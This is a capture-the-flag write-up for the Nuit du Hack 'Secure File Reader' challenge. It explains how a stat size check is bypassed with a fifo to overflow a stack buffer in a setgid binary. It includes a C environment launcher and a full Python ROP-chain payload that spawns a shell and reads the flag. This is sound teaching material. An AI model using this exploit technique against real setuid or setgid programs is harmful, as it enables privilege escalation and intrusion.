Nuit du Hack - Secure File Reader
The qualifications for the Nuit du Hack CTF were held this weekend. It proposed there pwnable challenges. That one involved an ELF 32-bit binary with a buffer overflow on the stack that is used to push a ROP chain to execute a shell and finally get to flag.
Basic Information
From the organizers:
Description
Hi, I have secured my file reader so that you won't be able to pwn it. You
know, I have pretty good skills in security.
Don't even try to beat me!
The challenge is available at securefilereader.quals.nuitduhack.com:55552
(chall:chall)
Points
200
Category
Exploit Me
The provided connection information must be used to connect with SSH to the machine:
$ ssh [email protected] -p 55552
[email protected]'s password:
[snip]
chall@e09fe5638705:~$ uname -a
Linux 22f353d2ab05 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt20-1+deb8u3
(2016-01-17) x86_64 GNU/Linux
chall@e09fe5638705:~$ ls -la
total 752
dr-xr-xr-x 1 root root 68 Mar 11 11:04 .
drwxr-xr-x 1 root root 32 Mar 11 11:04 ..
-rwxr-xr-x 1 chall chall 1 Apr 2 18:27 .bash_logout
-rw-r--r-- 1 chall chall 7 Apr 2 17:46 .bashrc
-rw-r--r-- 1 chall chall 675 Mar 11 11:04 .profile
-r--r----- 1 root chall_pwned 29 Mar 11 11:03 flag
-r-xr-sr-x 1 root chall_pwned 750269 Mar 11 11:03 pwn
The binary has the setgid flag set so that it can access flag
.
The host has a limited set of installed package; there is no debugger and python is not installed. Let’s copy it locally so that we can debug it. The file is an ELF 32-bit, not stripped and statically linked. The only security feature enabled is NX:
$ file pwn
pwn: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.24,
BuildID[sha1]=acc530c91c4841537384866623e6dc50074105c8, not stripped
$ checksec --file pwn
RELRO STACK CANARY NX PIE RPATH
Partial RELRO No canary found NX enabled No PIE No RPATH
RUNPATH FILE
No RUNPATH pwn
Operation
The binary need a file passed as argument:
$ ./pwn
Usage ./prog <filename>
$ ./pwn <(echo toto)
The file has been saved successfully
The file is not really saved anywhere, its content is just copied on the stack of the binary:
[0x08048d2a]> pdf @main
[snip]
0x08048f71 8b450c mov eax, dword [ebp+arg_ch] ; [0xc:4]=0
0x08048f74 83c004 add eax, 4
0x08048f77 8b00 mov eax, dword [eax]
0x08048f79 890424 mov dword [esp], eax
0x08048f7c e885ffffff call sym.safe_save
[snip]
[0x08048d2a]> pdf @sym.safe_save
[snip]
0x08048f0f 8b4508 mov eax, dword [ebp+arg_8h] ; [0x8:4]=0
0x08048f12 890424 mov dword [esp], eax
0x08048f15 e82affffff call sym.check_size
[snip]
0x08048f1e 8d85f8efffff lea eax, dword [ebp - local_1008h]
0x08048f24 89442404 mov dword [esp + 4], eax
0x08048f28 8b4508 mov eax, dword [ebp+arg_8h] ; [0x8:4]=0
0x08048f2b 890424 mov dword [esp], eax
0x08048f2e e841ffffff call sym.save_in_buffer
[snip]
[0x08048d2a]> pdf @sym.save_in_buffer
[snip]
0x08048ede c74424080001. mov dword [esp + 8], 0x100 ; [0x100:4]=0x554e47
0x08048ee6 8d85effeffff lea eax, dword [ebp - local_111h]
0x08048eec 89442404 mov dword [esp + 4], eax
0x08048ef0 8b45f4 mov eax, dword [ebp - local_ch]
0x08048ef3 890424 mov dword [esp], eax
0x08048ef6 e8557b0200 call sym.__read
[snip]
From the main
function, safe_size
is called. It starts by checking the size
of the file passed as argument. If it is bigger than 0x100 bytes, it exits.
Otherwise it continues by calling save_in_buffer
with the address of the
buffer. save_in_buffer
reads the file and puts its content in the provided
buffer through the strncat
.
Vulnerability
The function check_size
calls the stat
function to get the size of
the provided file. There are at least two possibilities to trick stat
into
believing that the file is small:
- race condition: create a small file and increase its size after
stat
is called - use a fifo
The latter is easier to setup and more reliable. I usually tend to work with fifo when I debug binaries because I find that this is easier to interact with binaries that way:
$ gdb -q pwn
Reading symbols from pwn...(no debugging symbols found)...done.
gdb-peda$ r fifo
Starting program: pwn fifo
From another terminal:
$ python -c "print('A'*4200)" > fifo
Back in the debugger:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x25 ('%')
EBX: 0x80481b0 (<_init>: push ebx)
ECX: 0x80ef4d4 --> 0x0
EDX: 0x25 ('%')
ESI: 0x0
EDI: 0x80ee00c --> 0x8067e60 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EBP: 0x41414141 ('AAAA')
ESP: 0xffe5af00 ('A' <repeats 72 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffe5af00 ('A' <repeats 72 times>)
0004| 0xffe5af04 ('A' <repeats 68 times>)
0008| 0xffe5af08 ('A' <repeats 64 times>)
0012| 0xffe5af0c ('A' <repeats 60 times>)
0016| 0xffe5af10 ('A' <repeats 56 times>)
0020| 0xffe5af14 ('A' <repeats 52 times>)
0024| 0xffe5af18 ('A' <repeats 48 times>)
0028| 0xffe5af1c ('A' <repeats 44 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$
We control eip
! 4128 bytes are needed to overwrite it:
$ python2 -c 'print "A"*4124 + "BBBB"' > fifo
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x25 ('%')
EBX: 0x80481b0 (<_init>: push ebx)
ECX: 0x80ef4d4 --> 0x0
EDX: 0x25 ('%')
ESI: 0x0
EDI: 0x80ee00c --> 0x8067e60 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EBP: 0x41414141 ('AAAA')
ESP: 0xffbece60 --> 0xffbed000 --> 0x3
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffbece60 --> 0xffbed000 --> 0x3
0004| 0xffbece64 --> 0xffbecf04 --> 0xffbed0c7 ("/home/abe/ctf/ndh/secure_file_reader/pwn")
0008| 0xffbece68 --> 0xffbecf10 --> 0xffbed0f5 ("XDG_VTNR=1")
0012| 0xffbece6c --> 0x80481b0 (<_init>: push ebx)
0016| 0xffbece70 --> 0x0
0020| 0xffbece74 --> 0x80ee00c --> 0x8067e60 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
0024| 0xffbece78 --> 0x8049710 (<__libc_csu_fini>: push ebx)
0028| 0xffbece7c --> 0x804915a (<__libc_start_main+458>: mov DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$
Exploitation
ret2libc is not possible because the functions system
and exec
, and the
libc is not linked with it (remember that the binary is statically linked). We
will have to do a ROP chain. ROPgadget
is a good tool to find
ROP gadgets in binaries. The different kind of ROP chain could be built, such
as executing the mprotect
syscall
to remove NX and
then jump on a shellcode on the stack. By looking at the only gadget with int
0x80
to trigger the syscall, we can see that it doesn’t end with a return.
Therefore we only can execute one syscall and that’s it. The only one feasible
is execve
to pop a shell. As syscalls are fastcall, argument must
be supplied in registers:
eax
: syscall number =>11
ebx
: pointer to/bin/sh
=> need to find oneecx
: pointer toargv[]
=> useless, put0
edx
: pointer toenvp[]
=> useless, put0
Finding /bin/sh
The /bin/sh
string could be passed in the payload and then the value of esp
could be gathered to reference it, but no such gadget was available. One
possibility would be to push with the ROP chain two words /bin
and /sh\0
into a fixed location such as the .data
segment. Or to provide it through a
environment variable. I chose the latter possibility. A pointer to the
environment variable is available here:
gdb-peda$ x/wx &environ
0x80ef54c <environ>: 0xffbecf10
gdb-peda$ x/wx environ
0xffbecf10: 0xffbed0f5
gdb-peda$ x/s *environ
0xffbed0f5: "XDG_VTNR=X"
0x80ef54c
is the address containing a pointer (0xffbecf10
) to the first
environment variable (0xffbed0f5
).
To control the environment variables passed to a program, we need to create a
launcher that will clear them all and add our /bin/sh
. As python is not
available, let’s do it in C:
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
char *env[2];
char *argv[3];
clearenv();
argv[0] = "/home/chall/pwn";
argv[1] = "path/to/fifo";
argv[2] = NULL;
env[0] = "s=/bin/sh";
env[1] = NULL;
execve("/home/chall/pwn", argv, env);
exit(0);
}
ROP chain
Here is the python script that generate the payload which is then cast into the fifo:
#!/usr/bin/env python2
from pwn import p32
environ_addr = 0x80ef54c
payload = 'A' * 4124
# set ebx = addr /bin/sh in first env var
# ecx is also set
payload += p32(0x08072731) # pop ecx ; pop ebx ; ret
payload += p32(0xffffffff)
payload += p32(0xffffffff)
payload += p32(0x080de209) # : inc ebx ; ret
payload += p32(0x080ddf6c) # : inc ecx ; ret
payload += p32(0x0807270a) # : pop edx ; ret
payload += p32(environ_addr)
payload += p32(0x080da8e6) # : mov edi, dword ptr [edx] ; ret
payload += p32(0x080483ae) # : pop ebp ; ret (just to have a valid address in edx)
payload += p32(environ_addr)
payload += p32(0x08050b60) # : mov eax, edi ; mov edx, ebp ; pop edi ; pop ebp ; ret
payload += p32(0x41414141) * 2
payload += p32(0x080eaa2d) # : add ebx, dword ptr [eax] ; add dword ptr [edx], ecx ; ret
# to pass by the 's=' in the env var
payload += p32(0x080de209) # inc ebx ; ret
payload += p32(0x080de209) # inc ebx ; ret
# set eax
payload += p32(0x080beb26) # pop eax ; ret
payload += p32(0xf5fed208) # hex(0xffffffff - 0xa012e03+1 + 11)
payload += p32(0x080e5e43) # add eax, 0xa012e03 ; ret
# set edx
payload += p32(0x0807270a) # pop edx ; ret
payload += p32(0xffffffff) #
payload += p32(0x0805d6f7) # inc edx ; ret
# syscall
payload += p32(0x08049501) # int 0x80
print payload
Execution
The /tmp
directory was writable but not readable, it was therefore a good
place to hide our files. Here are the steps need to finally exploit the binary:
- create a directory
/tmp/something
on the remote machine - generate the payload with the python script
- compile the launcher
scp
both files to/tmp/something
- open two ssh connections:
- create a fifo
/tmp/something/fifo
andcat payload > fifo
- execute the launcher
- create a fifo
chall@73ca0efc4605:~$ /tmp/something/launch
The file has been saved successfully
$ ls
flag pwn
$ cat flag
rUN!RuN$RUn!Y0U$W1N_TH3_R4c3
$
It would have been easier to push /bin/sh
into the .data
segment…